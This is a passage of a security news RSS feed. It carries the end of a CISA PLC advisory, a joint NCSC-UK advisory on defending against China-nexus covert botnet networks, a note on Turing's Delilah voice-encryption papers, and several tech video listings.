<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/cyber-hygiene-services" title="No-Cost Cybersecurity Services and Tools">No-Cost Cybersecurity Services and Tools</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a></li>
<li>NSA, CISA: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a></li>
<li>CISA: <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a></li>
<li>FBI, CISA: <a href="https://www.ic3.gov/CSA/2025/250506.pdf" target="_blank" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a></li>
<li>United Kingdom National Cyber Security Centre: <a href="https://www.ic3.gov/CSA/2026/260114.pdf" target="_blank" title="Secure Connectivity Principles for Operational Technology (OT)">Secure connectivity principles for operational technology</a></li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p>U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:</p>
<ul type="square">
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s <a href="https://ic3.gov/" target="_blank" title="Internet Crime Complaint Center (IC3)">Internet Crime Complaint Center (IC3)</a> or contact your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office">FBI field office</a>. When available, please include the following information regarding the incident: 
<ul>
<li>Date, time, and location of the incident;</li>
<li>Type of activity;</li>
<li>Number of people affected;</li>
<li>Type of equipment used for the activity; and</li>
<li>Name of the submitting company or organization, and a designated point of contact.</li>
</ul>
</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
<li>Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact <a href="mailto:EnergySRMA@hq.doe.gov" title="EnergySRMA@hq.doe.gov">EnergySRMA@hq.doe.gov</a>.</li>
<li>Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at <a href="mailto:PSIRT@rockwellautomation.com" title="PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a>.</li>
<li>Contact the Schneider Electric CPCERT at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.</li>
<li>Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a>. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at <a href="mailto:services.automation@siemens.com">services.automation@siemens.com</a>. See <a href="https://www.siemens.com/en-us/content/cert-services/" target="_blank" title="Siemens ProductCERT and Siemens CERT">Siemens ProductCERT and Siemens CERT</a> for more information.</li>
</ul>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.</p>
<h2><strong>Version History</strong></h2>
<p><strong>April 7, 2026</strong>: Initial version.</p>
<p><strong>July 22, 2026</strong>: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"></a><sup>1</sup>Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.</p>
<p><a class="ck-anchor"></a><sup>2 </sup>See <a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/um/1769-um021_-en-p.pdf" target="_blank" title="CompactLogix 5370 Controllers">CompactLogix 5370 Controllers</a> (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="SCXW131754345 BCX8">
<div class="OutlineElement Ltr SCXW131754345 BCX8">
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
</div>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



</div>
      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Tactic </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>ID </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Technique </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Procedure </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Botnet </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Botnets are used as core components of covert networks </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Network Devices </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Devices are compromised and added to botnets </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
</div>
</div>
</td>
</tr>
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<p><strong>Command and Control </strong></p>
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</div>
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<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
</div>
</div>
</td>
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<p>Proxy: Multi-hop Proxy </p>
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</td>
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<p>Used by China-nexus cyber actors to route traffic </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
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<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
</div>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>All material is UK Crown Copyright © </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
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<title><![CDATA[Details of Alan Turing’s Voice Encryption System]]></title>
<description><![CDATA[Really interesting piece of cryptographic history:
In November 2023, a large cache of his wartime papers—nicknamed the “Bayley papers”—was auctioned in London for almost half a million U.S. dollars. The previously unknown cache contains many sheets in Turing’s own handwriting, telling of his top-...]]></description>
<link>https://tsecurity.de/de/3693279/reverse-engineering/details-of-alan-turings-voice-encryption-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693279/reverse-engineering/details-of-alan-turings-voice-encryption-system/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:05 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Really interesting piece of cryptographic <a href="https://spectrum.ieee.org/alan-turings-delilah">history</a>:</p>
<blockquote><p>In November 2023, a large cache of his wartime papers—nicknamed the “Bayley papers”—was <a href="https://www.bonhams.com/auction/28322/lot/45/turing-alan-the-delilah-project-the-papers-of-alan-turing-and-donald-bayley-relating-to-the-delilah-project/">auctioned</a> in London for almost half a million U.S. dollars. The previously unknown cache contains many sheets in Turing’s own handwriting, telling of his top-secret “Delilah” engineering project from 1943 to 1945. Delilah was Turing’s portable voice-encryption system, named after the biblical deceiver of men. There is also material written by Bayley, often in the form of notes he took while Turing was speaking. It is thanks to Bayley that the papers survived: He kept them until he died in 2020, 66 years after Turing passed away...</p></blockquote>]]></content:encoded>
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<title><![CDATA[SHOCKING NEW OpenAI Robotics Tech + Tesla Reveals Optimus AI Robot Update | Meta AI CACTI]]></title>
<description><![CDATA[Author: AI News - Bewertung: 343x - Views:10943 - In a world-changing breakthrough, Microsoft researchers have integrated OpenAI’s ChatGPT with robotics and other devices, enabling the use of natural language to control various devices, including drones, robot arms, home assistant robots and more...]]></description>
<link>https://tsecurity.de/de/3693270/videos/shocking-new-openai-robotics-tech-tesla-reveals-optimus-ai-robot-update-meta-ai-cacti/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693270/videos/shocking-new-openai-robotics-tech-tesla-reveals-optimus-ai-robot-update-meta-ai-cacti/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:47 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: AI News - Bewertung: 343x - Views:10943 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/tKUHRkqt6tE?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>- In a world-changing breakthrough, Microsoft researchers have integrated OpenAI’s ChatGPT with robotics and other devices, enabling the use of natural language to control various devices, including drones, robot arms, home assistant robots and more, allowing humans to easily communicate their intentions to robots just like they would to another human, bridging the gap between man and machine. Tesla’s Optimus AI robot can now walk short distances by itself, carry an object of its arm&#039;s size, and use basic tools with the help of artificial intelligence. CACTI from Meta AI consists of four stages that handle data collection, data augmentation, visual representation learning, and imitation policy training separately to enable scalability in robot learning. <br />
<br />
AI Marketplace: https://taimine.com/<br />
Deep Learning AI Specialization: https://imp.i384100.net/GET-STARTED<br />
<br />
AI News Timestamps:<br />
0:00 New OpenAI Robotics Tech With ChatGPT<br />
5:06 Tesla Optimus AI Robot News<br />
6:15 Meta AI CACTI Robot Imitation Learning<br />
<br />
#technology #tech #ai<br/></p>]]></content:encoded>
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<title><![CDATA[Claude Opus 4.8: Lying Machine No More?]]></title>
<description><![CDATA[Author: Two Minute Papers - Bewertung: 3928x - Views:102065 ❤️ Check out Lambda here and sign up for their GPU Cloud: https://lambda.ai/papers

Anthropic's Opus 4.8: https://www.anthropic.com/news/claude-opus-4-8

🙏 We would like to thank our generous Patreon supporters who make Two Minute Papers...]]></description>
<link>https://tsecurity.de/de/3693260/videos/claude-opus-48-lying-machine-no-more/</link>
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<pubDate>Sat, 25 Jul 2026 08:36:33 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Two Minute Papers - Bewertung: 3928x - Views:102065 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/ypL7kUiw_LM?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>❤️ Check out Lambda here and sign up for their GPU Cloud: https://lambda.ai/papers<br />
<br />
Anthropic&#039;s Opus 4.8: https://www.anthropic.com/news/claude-opus-4-8<br />
<br />
🙏 We would like to thank our generous Patreon supporters who make Two Minute Papers possible:<br />
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 <br />
My research: https://cg.tuwien.ac.at/~zsolnai/<br />
Thumbnail design: https://felicia.hu<br/></p>]]></content:encoded>
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<title><![CDATA[Valve, was habt ihr euch dabei gedacht?! Steam Machine für 1039 €]]></title>
<description><![CDATA[Author: PC-WELT - Bewertung: 250x - Views:8464 Wir müssen zurückrudern. 😅

Wir haben die Steam Machine vor ein paar Wochen noch verteidigt, aber nach dem Preis-Leak wird’s schwierig.

Die Idee bleibt stark: keine Online-Abos, günstige Steam-Spiele, Zugriff auf die eigene Steam-Bibliothek und Clou...]]></description>
<link>https://tsecurity.de/de/3693248/videos/valve-was-habt-ihr-euch-dabei-gedacht-steam-machine-fuer-1039/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693248/videos/valve-was-habt-ihr-euch-dabei-gedacht-steam-machine-fuer-1039/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:15 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
